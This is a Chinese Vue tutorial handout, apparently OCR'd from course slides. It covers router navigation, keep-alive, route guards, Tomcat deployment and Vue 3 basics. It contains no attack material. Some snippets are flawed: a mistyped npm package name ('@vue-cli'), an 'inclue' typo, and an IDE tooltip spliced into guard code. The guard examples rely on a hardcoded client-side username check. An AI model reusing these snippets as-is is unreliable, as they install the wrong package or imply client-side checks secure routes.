① this.$router.push({
　　name : ‘’,
　　query : {}
　})

(2) replace 模式：

① this.$router.replace({
　　name : ‘’,
　　query : {}
　})

(3) 前进：

① this.$router.forward()

(4) 后退：

① this.$router.back()

(5) 前进或后退几步：

① this.$router.go(2) 前进两步

② this.$router.go(-2) 后退两步

(6) 使用编程式路由导航的时候，需要注意：重复执行 push 或者 replace 的 API 时，会出现以下错误：

这个问题是因为 push 方法返回一个 Promise 对象，期望你在调用 push 方法的时候传递两个回调函数，一个是成功的回调，一个是失败的回调，如果不传就会出以上的错误。所以解决以上问题只需要给 push 和 replace 方法在参数上添加两个回调即可。

6.11 缓存路由组件

默认情况下路由切换时，路由组件会被销毁。有时需要在切换路由组件时保留组件（缓存起来）。

<keep-alive inclue="组件名称">
    <router-view/>
</keep-alive>

这里的组件名称指的是：

```
JS index.js    Fruit.vue    Desc.vue ×
src > pages > Desc.vue > {} "Desc.vue" > script
1  <template>
2      <ul>
3          <li>{{a}}</li>
4          <li>{{b}}</li>
5      </ul>
6  </template>
7
8  <script>
9      export default {
10         name : 'Desc',
11         props : ['a', 'b']
12     }
13 </script>
```

不写 include 时：<router-view>包含的所有路由组件全部缓存。

如何指定多个缓存路由，可以使用数组形式：

```
<keep-alive :include="['Desc']">
    <router-view></router-view>
</keep-alive>
```

6.12 activated 和 deactivated

这是两个生命周期钩子函数。

只有“路由组件”才有的两个生命周期钩子函数。

路由组件被切换到的时候，activated 被调用。

路由组件被切走的时候，deactivated 被调用。

这两个钩子函数的作用是捕获路由组件的激活状态。

6.13 路由守卫

6.13.1 全局前置守卫

router/index.js 文件中拿到 router 对象。

router.beforeEach((to, from, next)=>{ // 翻译为：每次前（寓意：每一次切换路由之前执行。）

```
    // to 去哪里(to.path、to.name)
    // from 从哪来
    // next 继续：调用 next( )
})
```

```
index.js
src > router > index.js > ...
23                  props : true
24              }
25          ]
26      },
27      {
28          name : 'nan',
29          path : '/henan',
30          component : HeNan
31      }
32  ]
33 })
34
35 // 全局前置路由守卫
36 router.beforeEach((to, from, next) => {
37     let username = 'zhangsan'
38     // 路由对象-from: 从哪儿来
39     // 路由对象-to: 到哪去
40     // 函数next: 放行
41     // 访问“石家庄、邯郸”的要求username必须是admin。
42     if(to.name === 'han' || to.name === 'shi'){
43         if(username === 'admin'){
44             next()
45         }else{
46             alert('无权限！！')
47         }
48     }else{
49         next()
50     }
51 })
52
53 export default router
```

这种路由守卫称为全局前置路由守卫。
初始化时执行一次，以后每一次切换路由之前调用一次。

如果路由组件较多。to.path 会比较繁琐，可以考虑给需要鉴权的路由扩展一个布尔值属性，可以通过路由元来定义属性：**meta:{isAuth : true}**

```
JS index.js ×
src > router > JS index.js > [e] default
27                  ]
28              },
29              {
30                  name : 'nan',
31                  path : '/henan',
32                  component : HeNan,
33              }
34          ]
35  })
36
37  // 全局前置路由守卫
38  router.beforeEach((to, from, next) => {
39      let username = 'zhangsan'
40      // 路由对象-from: 从哪儿来
41      // 路由对象-to: 到哪去
42      // 函数next: 放行
43      // 访问“石家庄、邯郸”的要求username必须是admin。
44      if(to.meta.isAuth){
45          if(username === 'admin'){
46              next()
47          }else{
48              alert('无权限！！')
49          }
50      }else{
51          next()
52      }
53  })
54
55  export default router
```

6.13.2 全局后置守卫

router/index.js 文件中拿到 router 对象。

router.afterEach((to, from)=>{ // 翻译为：每次后（寓意：每一次切换路由后执行。）

// 没有 next

document.title = to.meta.title // 通常使用后置守卫完成路由切换时 title 的切换。

})

这种路由守卫称为全局后置路由守卫。

初始化时执行一次，以后每一次切换路由之后调用一次。

该功能也可以使用前置守卫实现：

```
// 全局前置路由守卫
router.beforeEach((to, from, next) => {
    let username = 'admin'
    // 路由对象-from: 从哪儿来
    // 路由对象-to: 到哪去
    // 函数next: 放行
    // 访问“石家庄、邯郸”的要求username必须是admin。
    if(to.meta.isAuth){
        if(username === 'admin'){
            document.title = to.meta.title || '欢迎使用'
            next()
        }else{
            alert('无权限！！')
        }
    }else{
        document.title = to.meta.title || '欢迎使用'
        next()
    }
})
```

该功能使用后置守卫实现更好：

```
// 全局后置路由守卫
router.afterEach((to, from) => { // 没有next
    document.title = to.meta.title || '欢迎使用'
})
```

解决闪烁问题：

```
JS index.js    index.html ×
public > index.html > html > head > title
<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
    <title>欢迎使用</title>
  </head>
  <body>
    <noscript>
      <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't
    </noscript>
    <div id="app"></div>
    <!-- built files will be auto injected -->
  </body>
</html>
```

6.13.3 局部路由守卫之 path 守卫

```
index.js
src > router > index.js > router > routes > children
12          meta : {title : '河北省'},
13          children : [
14              {
15                  name : 'shi',
16                  path : 'sjz/:a1/:a2/:a3',
17                  component : City,
18                  props : true,
19                  meta : {isAuth : true, title : '石家庄'},
20                  // 局部路由守卫之path守卫
21                  beforeEnter(to, from, next){
22                      let username = 'zhangsan'
23                      if(to.meta.isAuth){
24                          if(username === 'admin'){
25                              document.title = to.meta.title || '欢迎使用'
26                              next()
27                          }els function alert(message?: any): void
28                              alert('无权限！！')
29                          }
30                      }else{
31                          document.title = to.meta.title || '欢迎使用'
32                          next()
33                      }
34                  }
35              },
36              {
```

注意：没有 afterEnter

 Copyright©动力节点

6.13.4 局部路由守卫之 component 守卫

```
City.vue ×
src > pages > City.vue > {} "City.vue" > template > div.s1 > ul > li
1  <template>
2      <div class="s1">
3          <h3>区</h3>
4          <ul>
5              <li>{{a1}}</li>
6              <li>{{a2}}</li>
7              <li>{{a3}}</li>
8          </ul>
9      </div>
10 </template>
11
12 <script>
13     export default {
14         name : 'ShiJiaZhuang',
15         props : ['a1', 'a2', 'a3'],
16         // 进入路由组件前（注意:必须是路由组件才能触发，普通组件不触发）
17         beforeRouteEnter(to, from, next){
18             console.log('进入路由组件: City')
19             next()
20         },
21         // 离开路由组件后（注意:必须是路由组件才能触发，普通组件不触发）
22         beforeRouteLeave(to, from, next){
23             console.log('离开路由组件: City')
24             next()
25         }
26     }
27 </script>
```

注意：只有路由组件才有这两个钩子。

6.13.5 前端项目上线

1. 路径中#后面的路径称为 hash。这个 hash 不会作为路径的一部分发送给服务器：
   (1) http://localhost:8080/vue/bugs/#/a/b/c/d/e （真实请求的路径是：http://localhost:8080/vue/bugs）
2. 路由的两种路径模式：
   (1) hash 模式
   (2) history 模式
3. 默认是 hash 模式，如何开启 history 模式
   (1) router/index.js 文件中，在创建路由器对象 router 时添加一个 mode 配置项：

```
City.vue    index.js ×
src > router > index.js > router
1  import VueRouter from 'vue-router'
2  import HeBei from '../pages/HeBei'
3  import HeNan from '../pages/HeNan'
4  import City from '../pages/City'
5
6  const router = new VueRouter({
7      mode : 'history',
8      routes : [
9          {
10             name : 'bei',
11             path : '/hebei',
12             component : HeBei,
13             meta : {title : '河北省'},
14             children : [
15                 {
16                     name : 'shi',
17                     path : 'sjz/:a1/:a2/:a3',
18                     component : City,
19                     props : true,
```

4. 项目打包

(1) 将 Xxx.vue 全部编译打包为 HTML CSS JS 文件。

(2) npm run build

```
package.json ×
package.json > ...
1  {
2    "name": "vue_pro",
3    "version": "0.1.0",
4    "private": true,
     ▷ 调试
5    "scripts": {
6      "serve": "vue-cli-service serve",
7      "build": "vue-cli-service build",
8      "lint": "vue-cli-service lint"
9    },
10   "dependencies": {
11     "core-js": "^3.8.3",
12     "vue": "^2.6.14",
13     "vue-router": "^3.6.5"
14   },
15   "devDependencies": {
16     "@babel/core": "^7.12.16",
17     "@babel/eslint-parser": "^7.12.16",
18     "@vue/cli-plugin-babel": "~5.0.0",
19     "@vue/cli-plugin-eslint": "~5.0.0",
```

5. 这里服务器端选择使用 Java 服务器：Tomcat，接下来教大家配置 Tomcat 服务器：

(1) 下载 JDK

oracle.com
ORACLE
Products
Industries
Resource
Oracle Cloud Infrastructure
OCI Overview
AI and Machine Learning
Analytics and BI
Big Data
Cloud Regions
Compliance
Compute
Containers and Fu
Cost Management
Data Lake
Database Services
Developer Service
Oracle Cloud Applications
Applications Overview
Enterprise Resource Planning (ERP)
– Financial Management
– Procurement
– Project Management
– Risk Management and Compliance
– Enterprise Performance Management
Supply Chain & Ma
– Supply Chain Pla
– Inventory Manag
– Manufacturing
– Maintenance
– Product Lifecycl
– More SCM applic
Hardware and Software
Java
Oracle Database
MySQL
Linux

①

oracle.com/java/
ORACLE
Products
Industries
Resources
Customers
Partners
Developers
Events
Company
View Accounts
Contact Sales
Download Java
Java
Oracle Java is the #1 programming language and development platform. It reduces costs, shortens development timeframes, drives innovation, and improves application services. With millions of developers running more than 60 billion Java Virtual Machines worldwide, Java continues to be the development platform of choice for enterprises and developers.
Assess the health of your Java environment

②

oracle.com/java/technologies/downloads/#java17
ORACLE
Products Industries Resources Customers Partners Developers Events Company
Java > Technical Details >
Java Downloads
Java downloads
Tools and resources
Java archive
Looking for other Java downloads?
OpenJDK Early Access Builds
Java 20 and Java 17 available now
Java 17 LTS is the latest long-term support release for the Java SE platform. JDK 20 and JDK 17 binaries are free to use in production and free to redistribute, at no cost, under the Oracle No-Fee Terms and Conditions.
JDK 20 will receive updates under these terms, until September 2023 when it will be superseded by JDK 21.
JDK 17 will receive updates under these terms, until at least September 2024.
Java 20
Java 17
选择Java17
Java SE Development Kit 17.0.6 downloads
Thank you for downloading this release of the Java™ Platform, Standard Edition Development Kit (JDK™). The JDK is a develo
components using the Java programming language.

③

oracle.com/java/technologies/downloads/#jdk17-windows
ORACLE
Products Industries Resources Customers Partners Developers Events Company
View Accounts
Contact Sales
Java downloads
Tools and resources
Java archive
JDK 17 will receive updates under these terms, until at least September 2024.
Java 20
Java 17
Java SE Development Kit 17.0.6 downloads
Thank you for downloading this release of the Java™ Platform, Standard Edition Development Kit (JDK™). The JDK is a development environment for building applications and components using the Java programming language.
The JDK includes tools for developing and testing programs written in the Java programming language and running on the Java platform.
Linux
macOS
Windows
Product/file description
File size
Download
x64 Compressed Archive
172.11 MB
https://download.oracle.com/java/17/latest/jdk-17_windows-x64_bin.zip (sha256)
x64 Installer
153.22 MB
https://download.oracle.com/java/17/latest/jdk-17_windows-x64_bin.exe (sha256)
x64 MSI Installer
152.01 MB
https://download.oracle.com/java/17/latest/jdk-17_windows-x64_bin.msi (sha256)

④

(C:) > 用户 > Administrator > 文档 > Downloads
名称
修改日期
jdk-17_windows-x64_bin.exe
2023/4/1 星

⑤

(2) 安装 JDK

Java(TM) SE Development Kit 17.0.6 (64-bit) - 安装程序
Java
ORACLE
欢迎使用 Java SE 开发工具包 17.0.6 的安装向导
本向导将指导您完成 Java SE 开发工具包 17.0.6 的安装过程。
下一步(N) >
取消

①

Java(TM) SE Development Kit 17.0.6 (64-bit) - 目标文件夹
Java
ORACLE
这会安装 Java(TM) SE Development Kit 17.0.6 (64-bit)。它要求硬盘驱动器上有 420MB 空间。单击"更改"按钮可更改安装文件夹。
将 Java(TM) SE Development Kit 17.0.6 (64-bit) 安装到:
C:\Program Files\Java\jdk-17\
更改...
也可以改路径，建议和我一样。别改。
上一步(B)
下一步(N)
取消

②

③

(3) 配置环境变量：JAVA_HOME

①

②

系统属性
计算机名
硬件
高级
系统保护
远程
要进行大多数更改，你必须作为管理员登录。
性能
视觉效果，处理器计划，内存使用，以及虚拟内存
设置(S)...
用户配置文件
与登录帐户相关的桌面设置
设置(E)...
启动和故障恢复
系统启动、系统故障和调试信息
设置(T)...
环境变量(N)...
确定
取消
应用(A)

③

环境变量
Administrator 的用户变量(U)
变量
值
Path
C:\Users\Administrator\AppData\Local\Microsoft\WindowsA...
TEMP
C:\Users\Administrator\AppData\Local\Temp
TMP
C:\Users\Administrator\AppData\Local\Temp
新建(N)...
编辑(E)...
删除(D)
系统变量(S)
变量
值
APPCODE_VM_OPTIONS
C:\jetbra\vmoptions\appcode.vmoptions
CLION_VM_OPTIONS
C:\jetbra\vmoptions\clion.vmoptions
ComSpec
C:\Windows\system32\cmd.exe
DATAGRIP_VM_OPTIONS
C:\jetbra\vmoptions\datagrip.vmoptions
DATASPELL_VM_OPTIONS
C:\jetbra\vmoptions\dataspell.vmoptions
DEVECOSTUDIO_VM_OPT...
C:\jetbra\vmoptions\devecostudio.vmoptions
DriverData
C:\Windows\System32\Drivers\DriverData
新建(W)...
编辑(I)...
删除(L)
确定
取消

④

⑤

⑥ 注意：如果你安装的路径和我安装的不一样，只要能够找到 JDK bin 目录的上一级目录即可。

1)

(4) 下载 Tomcat

①

②

③

(5) 安装 Tomcat

① 解压就是安装。我这里直接解压到 C 盘的根目录下

1)

(6) 配置环境变量：CATALINA_HOME

①

②

(7) 配置环境变量：PATH

①

 Copyright©动力节点

②

③

(8) 启动 Tomcat

① 打开 dos 命令窗口，输入 startup.bat，看到以下窗口表示 tomcat 启动成功（注意 Tomcat 服务器的端口号是 8080，启动 Tomcat 服务时最好先关闭 vue 脚手架，因为 vue cli 使用的端口也是 8080，如果启动了 Tomcat 服务器，再启动 vue 脚手架的话，脚手架会另外开启一个其他的端口。）

1)

```
C:\Users\Administrator>startup.bat
```

2)

```
Tomcat
\WindowsApps;;C:\Users\Administrator\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\Administrator\AppData\Roaming
\npm;.]上找不到基于APR的Apache Tomcat本机库，该库允许在生产环境中获得最佳性能
01-Apr-2023 12:08:40.299 信息 [main] org.apache.coyote.AbstractProtocol.init 初始化协议处理器 ["http-nio-8080"]
01-Apr-2023 12:08:40.330 信息 [main] org.apache.catalina.startup.Catalina.load 服务器在[498]毫秒内初始化
01-Apr-2023 12:08:40.377 信息 [main] org.apache.catalina.core.StandardService.startInternal 正在启动服务[Catalina]
01-Apr-2023 12:08:40.377 信息 [main] org.apache.catalina.core.StandardEngine.startInternal 正在启动 Servlet 引擎：[Apach
e Tomcat/10.1.7]
01-Apr-2023 12:08:40.377 信息 [main] org.apache.catalina.startup.HostConfig.deployDirectory 把web 应用程序部署到目录 [C:
\apache-tomcat-10.1.7\webapps\docs]
01-Apr-2023 12:08:40.799 信息 [main] org.apache.catalina.startup.HostConfig.deployDirectory Web应用程序目录[C:\apache-to
mcat-10.1.7\webapps\docs]的部署已在[422]毫秒内完成
01-Apr-2023 12:08:40.814 信息 [main] org.apache.catalina.startup.HostConfig.deployDirectory 把web 应用程序部署到目录 [C:
\apache-tomcat-10.1.7\webapps\examples]
01-Apr-2023 12:08:41.439 信息 [main] org.apache.catalina.startup.HostConfig.deployDirectory Web应用程序目录[C:\apache-to
mcat-10.1.7\webapps\examples]的部署已在[625]毫秒内完成
01-Apr-2023 12:08:41.439 信息 [main] org.apache.catalina.startup.HostConfig.deployDirectory 把web 应用程序部署到目录 [C:
\apache-tomcat-10.1.7\webapps\host-manager]
01-Apr-2023 12:08:41.501 信息 [main] org.apache.catalina.startup.HostConfig.deployDirectory Web应用程序目录[C:\apache-to
mcat-10.1.7\webapps\host-manager]的部署已在[62]毫秒内完成
01-Apr-2023 12:08:41.501 信息 [main] org.apache.catalina.startup.HostConfig.deployDirectory 把web 应用程序部署到目录 [C:
\apache-tomcat-10.1.7\webapps\manager]
01-Apr-2023 12:08:41.548 信息 [main] org.apache.catalina.startup.HostConfig.deployDirectory Web应用程序目录[C:\apache-to
mcat-10.1.7\webapps\manager]的部署已在[47]毫秒内完成
01-Apr-2023 12:08:41.548 信息 [main] org.apache.catalina.startup.HostConfig.deployDirectory 把web 应用程序部署到目录 [C:
\apache-tomcat-10.1.7\webapps\ROOT]
01-Apr-2023 12:08:41.580 信息 [main] org.apache.catalina.startup.HostConfig.deployDirectory Web应用程序目录[C:\apache-to
mcat-10.1.7\webapps\ROOT]的部署已在[32]毫秒内完成
01-Apr-2023 12:08:41.595 信息 [main] org.apache.coyote.AbstractProtocol.start 开始协议处理句柄["http-nio-8080"]
01-Apr-2023 12:08:41.705 信息 [main] org.apache.catalina.startup.Catalina.start [1380]毫秒后服务器启动
```

3) 如果你启动 tomcat 控制台有乱码也无所谓，如果实在看不下去，可以修改以下配置文件内容：

a.

b.

```
ditPlus - [C:\apache-tomcat-10.1.7\conf\logging.properties]
文件(F) 编辑(E) 视图(V) 搜索(S) 文档(D) 工程(P) 工具(T) 浏览器(B) 窗口(W) 帮助(H)
3manager.org.apache.juli.AsyncFileHandler.maxDays = 90
3manager.org.apache.juli.AsyncFileHandler.encoding = UTF-8

4host-manager.org.apache.juli.AsyncFileHandler.level = FINE
4host-manager.org.apache.juli.AsyncFileHandler.directory = ${cata
4host-manager.org.apache.juli.AsyncFileHandler.prefix = host-mana
4host-manager.org.apache.juli.AsyncFileHandler.maxDays = 90
4host-manager.org.apache.juli.AsyncFileHandler.encoding = UTF-8

java.util.logging.ConsoleHandler.level = FINE
java.util.logging.ConsoleHandler.formatter = org.apache.juli.OneL
java.util.logging.ConsoleHandler.encoding = GBK


############################################################
# Facility specific properties.
```

(9) 关闭 Tomcat

① ctrl + c 或者：dos 命令窗口中输入：shutdown.bat

(10) 将前端项目部署到 Tomcat。

① 找到 tomcat 服务器的 webapps 目录，并找到 webapps 目录下的 ROOT 目录，清空 ROOT 目录

② 将前端项目直接拷贝放到 ROOT 目录下即可。

(11) 访问项目。

① 重启 tomcat，并访问。

② http://localhost:8080

1)

6. hash 模式和 history 模式的区别与选择

(1) hash 模式

① 路径中带有#，不美观。

② 兼容性好，低版本浏览器也能用。

③ 项目上线刷新地址不会出现 404。

④ 第三方 app 校验严格，可能会导致地址失效。

(2) history 模式

① 路径中没有#，美观。
② 兼容性稍微差一些。
③ 项目上线后，刷新地址的话会出现 404 问题。需要后端人员配合可以解决该问题。

7. 对于 tomcat 服务器来说，如何解决 history 带来的 404 问题，这需要后端人员写一段代码：
   (1) 在 ROOT 目录下新建 WEB-INF 目录。
   (2) 在 WEB-INF 目录下新建 web.xml 文件。
   (3) 在 web.xml 文件中做如下配置：

```
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="https://jakarta.ee/xml/ns/jakartaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee
                      https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd"
  version="6.0"
  metadata-complete="true">

  <error-page>
    <error-code>404</error-code>
    <location>/index.html</location>
  </error-page>
</web-app>
```

7. Vue3

7.1 了解 Vue3

1. vue3 官网地址
   (1) https://cn.vuejs.org/
2. vue3 发布时间
   (1) 2020 年 9 月 18 日。

github.com/vuejs/core/releases?page=9

Sep 18, 2020
github-actions
v3.0.0
d8c1536
Compare

v3.0.0 One Piece

Today we are proud to announce the official release of Vue.js 3.0 "One Piece". This new major version of the framework provides improved performance, smaller bundle sizes, better TypeScript integration, new APIs for tackling large scale use cases, and a solid foundation for long-term future iterations of the framework.

The 3.0 release represents over 2 years of development efforts, featuring 30+ RFCs, 2,600+ commits, 628 pull requests from 99 contributors, plus tremendous amount of development and documentation work outside of the core repo. We would like to express our deepest gratitude towards our team members for taking on this challenge, our contributors for the pull requests, our sponsors and backers for the financial support, and the wider community for participating in our design discussions and providing feedback for the pre-release versions. Vue is an independent project created for the community and sustained by the community, and Vue 3.0 wouldn't have been possible without your consistent support.

Taking the "Progressive Framework" Concept Further

Vue had a simple mission from its humble beginning: to be an approachable framework that anyone can quickly learn. As our user base grew, the framework also grew in scope to adapt to the increasing demands. Over time, it evolved into what we call a "Progressive Framework": a framework that can be learned and adopted incrementally, while providing continued support as the user tackles more and more demanding scenarios.

Today, with over 1.3 million users worldwide*, we are seeing Vue being used in a wildly diverse range of scenarios, from sprinkling interactivity on traditional server-rendered pages, to full-blown single page applications with hundreds of components. Vue 3 takes this flexibility even further.

翻译：

今天，我们很自豪地宣布 Vue.js 3.0“海贼王”正式发布。这个新的主要版本的框架提供了改进的性能、更小的捆绑包大小、更好的 TypeScript 集成、用于处理大规模用例的新 API，以及为框架未来的长期迭代奠定了坚实的基础。

3.0 版本代表了两年多的开发工作，包括 30 多个 RFC、2600 多个提交、来自 99 个贡献者的 628 个拉取请求，以及核心回购之外的大量开发和文档工作。我们要向我们的团队成员表示最深切的感谢，感谢他们接受了这一挑战，感谢我们提出的撤回请求，感谢我们的赞助商和支持者提供的财政支持，感谢广大社区参与我们的设计讨论并为预发布版本提供反馈。Vue 是一个为社区创建并由社区支持的独立项目，如果没有您的持续支持，Vue 3.0 是不可能实现的。

3. 版本迭代历史
   (1) https://github.com/vuejs/core/releases
4. vue3 做了哪些改动
   (1) 最核心的虚拟 DOM 算法进行了重写。
   (2) 支持 tree shaking：在前端的性能优化中，es6 推出了 tree shaking 机制，tree shaking 就是当我们在项目中引入其他模块时，他会自动将我们用不到的代码，或者永远不会执行的代码摇掉
   (3) 最核心的响应式由 Object.defineProperty 修改为 Proxy 实现。
   (4) 更好的支持 TS（Type Script：TypeScript 是微软开发的一个开源的编程语言，通过在 JavaScript 的基础上添加静态类型定义构建而成。TypeScript 通过 TypeScript 编译器或 Babel 转译为 JavaScript 代码，可运行在任何浏览器，任何操作系统。）
   (5) .....

5. vue3 比 vue2 好在哪

(1)

Performance Improvements

Vue 3 has demonstrated significant performance improvements over Vue 2 in terms of bundle size (up to 41% lighter with tree-shaking), initial render (up to 55% faster), updates (up to 133% faster), and memory usage (up to 54% less).

(2) 翻译：

① 与 Vue 2 相比，Vue 3 在捆绑包大小（通过树抖动可轻 41%）、初始渲染（快 55%）、更新（快 133%）和内存使用（少 54%）方面都有了显著的性能改进。

6. Vue3 的新特性

(1) 新的生命周期钩子

①

生命周期钩子

onMounted()
onUpdated()
onUnmounted()
onBeforeMount()
onBeforeUpdate()
onBeforeUnmount()
onErrorCaptured()
onRenderTracked()
onRenderTriggered()
onActivated()
onDeactivated()
onServerPrefetch()

(2) 键盘事件不再支持 keyCode。例如：v-on:keyup.enter 支持，v-on:keyup.13 不支持。

(3) 组合式 API（Composition API）

 Copyright©动力节点

组合式 API

setup()

基本使用
访问 Props
Setup 上下文
与渲染函数一起使用

响应式: 核心

ref()
computed()
reactive()
readonly()
watchEffect()
watchPostEffect()
watchSyncEffect()
watch()

响应式: 工具

isRef()
unref()
toRef()
toRefs()
isProxy()
isReactive()
isReadonly()

响应式: 进阶

shallowRef()
triggerRef()
customRef()
shallowReactive()
shallowReadonly()
toRaw()
markRaw()
effectScope()
getCurrentScope()
onScopeDispose()

生命周期钩子

onMounted()
onUpdated()
onUnmounted()
onBeforeMount()
onBeforeUpdate()
onBeforeUnmount()
onErrorCaptured()
onRenderTracked()
onRenderTriggered()
onActivated()
onDeactivated()
onServerPrefetch()

依赖注入

provide()
inject()

①

(4) 新增了一些内置组件

组件

<Transition>
<TransitionGroup>
<KeepAlive>
<Teleport>
<Suspense>

①

(5) data 必须是一个函数。

(6) .....

7.2 Vue3 工程的创建

7.2.1 vue-cli 创建 Vue3 工程

1. 创建 Vue3 版本的工程，要求 vue-cli 最低版本 4.5.0

(1)
```
C:\Users\Administrator>vue --version
@vue/cli 5.0.8
```

(2) 可以使用以下命令升级你的脚手架版本

① npm install -g @vue-cli

2. 创建 Vue3 工程

(1) vue create vue3_pro

3. 启动工程

(1) 切换到工程根目录。

(2) npm run serve

7.2.2 vue-cli 创建的 vue3 项目说明

1. 目录结构以及文件和 vue2 相同。

2. main.js 文件说明

```
main.js
src > main.js > ...
// 引入createApp函数，不需要再引入Vue构造函数。
import { createApp } from 'vue'

import App from './App.vue'

import './assets/main.css'

//createApp(App).mount('#app')

// 创建app对象，类似于之前创建的vm对象。但比vm更加轻量级。
const app = createApp(App)

// 挂载
app.mount('#app')

// 卸载
/* setTimeout(() => {
    app.unmount('#app')
}, 5000) */
```

3. 查看 App.vue 组件

```
App.vue
src > App.vue > {} "App.vue" > script
<script setup>
import HelloWorld from './components/HelloWorld.vue'
import TheWelcome from './components/TheWelcome.vue'
</script>

<template>
  <header>
    <img alt="Vue logo" class="logo" src="./assets/logo.svg" width="125" height="125" />

    <div class="wrapper">
      <HelloWorld msg="You did it!" />
    </div>
  </header>

  <main>
    <TheWelcome />
  </main>
</template>

<style scoped>
header {
  line-height: 1.5;
}
```

vue3 中 template 标签下可以有多个根标签了。

7.2.3 create-vue 创建 Vue3 工程

1. create-vue 是什么？

(1) 和 vue-cli 一样，也是一个脚手架。

(2) vue-cli 创建的是 webpack+vue 项目的脚手架工具。

(3) create-vue 创建的是 vite+vue 项目的脚手架工具。

(4) webpack 和 vite 都是前端的构建工具。

2. vite 官网

(1) https://vitejs.cn/

3. vite 是什么？（vite 被翻译为：快）

(1) vite 是一个构建工具，作者尤雨溪。

(2) 前端构建工具有哪些？

构建工具	开发语言	Github Star	作者
Webpack	JavaScript	62.7k	Facebook
Vite	TypeScript	53.8k	ViteJS
Parcel	JavaScript	42.1k	Filament Group
esbuild	Go	34.9k	Evan Wallace
Gulp	JavaScript	32.7k	Eric Schoffstall
swc	Rust	26.6k	Bytecode Alliance
Rollup	JavaScript	23.1k	Rich Harris
Rome	Rust	22.9k	Facebook
Turbopack	Rust	20.2k	vercel
Snowpack	JavaScript	19.7k	Pika
Nx	TypeScript	16.9k	Nrwl
WMR	JavaScript	4.8k	Preact
Rspack	Rust	3.2k	字节跳动

4. vite 和传统构建工具的区别？

(1) https://cn.vitejs.dev/guide/why.html 官方的说辞。

(2) 使用 vite 后，至少两方面是提升了：

① 服务器启动速度快。

② 更新速度快了。

5. 使用 create vue 创建 Vue3 工程

(1) 官方指导：https://cn.vuejs.org/guide/quick-start.html

(2) 安装 create-vue 脚手架并创建 vue3 项目：npm init vue@latest

执行时，如果检测到没有安装 create-vue 脚手架时会安装脚手架。如果检测到已经安装过脚手架，则直接创建项目。

```
E:\>npm init vue@latest
Need to install the following packages:
  create-vue@3.6.1
Ok to proceed? (y)
```

```
E:\>npm init vue@latest
Need to install the following packages:
  create-vue@3.6.1
Ok to proceed? (y) y

Vue.js - The Progressive JavaScript Framework

? Project name: » vue3_pro
```

指定项目名。

一路选择 No：

```
√ Project name: ... vue3_pro
√ Add TypeScript? ... No / Yes
√ Add JSX Support? ... No / Yes
√ Add Vue Router for Single Page Application development? ... No / Yes
√ Add Pinia for state management? ... No / Yes
√ Add Vitest for Unit Testing? ... No / Yes
√ Add an End-to-End Testing Solution? » No
√ Add ESLint for code quality? ... No / Yes

Scaffolding project in E:\vue3_pro...

Done. Now run:

  cd vue3_pro
  npm install
  npm run dev
```

(3) cd vue3_pro

(4) npm install

(5) npm run dev

```
管理员: C:\Windows\system32\cmd.exe

  VITE v4.2.1  ready in 745 ms

  ➜  Local:   http://localhost:5173/
  ➜  Network: use --host to expose
  ➜  press h to show help
```

(6) 访问 5173 端口

7.2.4 create-vue 创建的 vue3 工程说明

1. 目录结构

2. 和 vue-cli 脚手架创建的区别

(1) index.html 文件不再放到 public 目录下了。

① vite 官方的解释是：让 index.html 成为入口。（vue-cli 脚手架生成的项目入口是：main.js）

```
index.html ×
index.html > html > body
1  <!DOCTYPE html>
2  <html lang="en">
3    <head>
4      <meta charset="UTF-8">
5      <link rel="icon" href="/favicon.ico">
6      <meta name="viewport" content="width=device-width, initial-scale=1.0">
7      <title>Vite App</title>
8    </head>
9    <body>
10     <div id="app"></div>
11     <script type="module" src="/src/main.js"></script>
12   </body>
13 </html>
14
```

(2) vue-cli 的配置文件 vue.config.js。create-vue 脚手架的配置文件：vite.config.js

① vite.config.js 能配置什么？可以参考 vite 官网：https://cn.vitejs.dev/config/ 例如配置代理服务器和以前就不太一样了。

7.3 Proxy 实现原理

Vue2 的响应式核心：Object.defineProperty

Vue3 的响应式核心：Proxy

7.3.1 Object.defineProperty

get 做数据代理。set 做数据劫持。在 set 方法中修改数据，并且渲染页面，完成响应式。

```
Object.defineProperty(data, 'name', {
    get(){
        // 数据代理
    },
    set(val){
        // 数据劫持
    }
})
```

存在的问题：

1) 通过数组下标修改数据，这个操作是没有响应式的。
2) 后期给对象新增属性、删除属性，这些操作都是没有响应式的。

导致以上问题最根本原因是：**Object.defineProperty 只能捕获到读和修改。**

Vue2 中怎么解决以上问题？

1) 对于数组来说调用数组的相关 API。例如：push、shift、unshift....
2) 新增属性、删除属性等操作通过：Vue.set 或者 this.$set

7.3.2 Proxy

Proxy 是 ES6 新增特性。window.Proxy

Proxy 是一个构造函数，参数传递一个目标对象，可以为目标对象生成代理对象。

通过访问代理对象上的属性来间接访问目标对象上的属性。

访问代理对象上的属性时，读属性、修改属性、删除属性、新增属性。Proxy 都可以捕获到。

 Copyright©动力节点

src > test.html > html > body > script

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ES6新特性: window.Proxy</title>
</head>
<body>
    <script>
        // 目标对象
        let user = {
            name : 'zhangsan',
            age : 20
        }
        // 代理对象
        let userProxy = new Proxy(user, {
            // 读取属性时走这个
            get(target, propertyName){
                console.log("读取了")
                return target[propertyName]
            },
            // 修改和添加属性时走这个
            set(target, propertyName, value){
                console.log("添加或修改了")
                target[propertyName] = value
            },
            // 删除属性时走这个
            deleteProperty(target, propertyName){
                console.log('删除了')
                return delete target[propertyName]
            }
        })
    </script>
</body>
</html>
```

 Copyright©动力节点

Vue3 框架底层实际上使用了 ES6 的 Reflect 对象来完成对象属性的访问：

```
14        // 代理对象
15        let userProxy = new Proxy(user, {
16            // 读取属性时走这个
17            get(target, propertyName){
18                console.log("读取了")
19                return Reflect.get(target, propertyName)
20            },
21            // 修改和添加属性时走这个
22            set(target, propertyName, value){
23                console.log("添加或修改了")
24                Reflect.set(target, propertyName, value)
25            },
26            // 删除属性时走这个
27            deleteProperty(target, propertyName){
28                console.log('删除了')
29                return Reflect.deleteProperty(target, propertyName)
30            }
31        })
